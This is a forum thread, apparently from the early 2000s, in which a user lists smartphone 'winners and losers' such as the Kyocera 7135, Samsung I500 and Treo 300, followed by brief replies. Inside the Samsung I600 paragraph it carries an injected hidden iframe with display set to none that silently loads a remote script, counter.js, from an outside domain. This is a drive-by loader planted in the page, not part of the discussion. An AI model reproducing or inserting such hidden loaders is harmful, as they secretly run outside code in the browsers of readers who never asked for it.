    Thumbs up SmartPhones - Winners and Losers

    Well, My i300 is still my trusty companion but I am getting anxious about having a new device. It's almost Christmas. I wanted to share my thoughts on the SmartPhone winners and losers over the next 3 months for all you "early adopters"

    WINNERS

    Kyo 7135
    On paper, it rules. I am sure Kyo 6035 users can't wait to switch. Great color, removable battery, flip, expansion, MP3 players. WOW!!! Wish I could see one in person.

    Samsung I500
    I like this phone. Pricing is key. For someone who demands a small phone, but wants a smartphone, I have not seen a better device. $100 less than Kyo 7135 would be a good deal.

    T-Mobile XDA
    Best to date from MS. Best screen shipping to date. MS app support. Nice start to PPC. Watch our for Samsung I700. Looks nice but Samsung has too many product in the pipe. Some may never come out

    Treo 300
    I can't count this phone out. I really wanted to love it. Better screen than I300, flip, and keyboard. I am more data than voice so it seemed perfect. If it was triband and replaceable battery I may have put this #1 on my list


    LOSERS:
    Samsung I330
    Too little, too late. The I300 was before its time, The I330 is after its time. I cannot believe they did not at least update the screen quality. I guess this product did not get a lot of attention.

    Audiovox Thera
    You have got to be kidding me. $600+, poor phone integration, can' hold up as phone to face. Phone is DOA.

    Samsung I600
    I am not sure that I would buy the first edition MS SmartPhone 2002. Some features like no touchscreen I don't get. How do you get data in phone?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

    Unless Samsung and the carriers are planning to offer the 330 at a very low price point (like $299 or lower) I really can't see how they'd sell any.

    There are just too many good options that will be hitting the streets soon.

    I agree about the Treo 300. It's the single band and the fact that you don't have a universal 2.5 headset jack that keep me from pulling the trigger.

    I'm waiting for either the 7135 or I-500. First one on the shelves at Sprint gets my $$$$.

    Sorry dude, you just went back into my killfile. Tired of the PPC ads.

    Goodbye
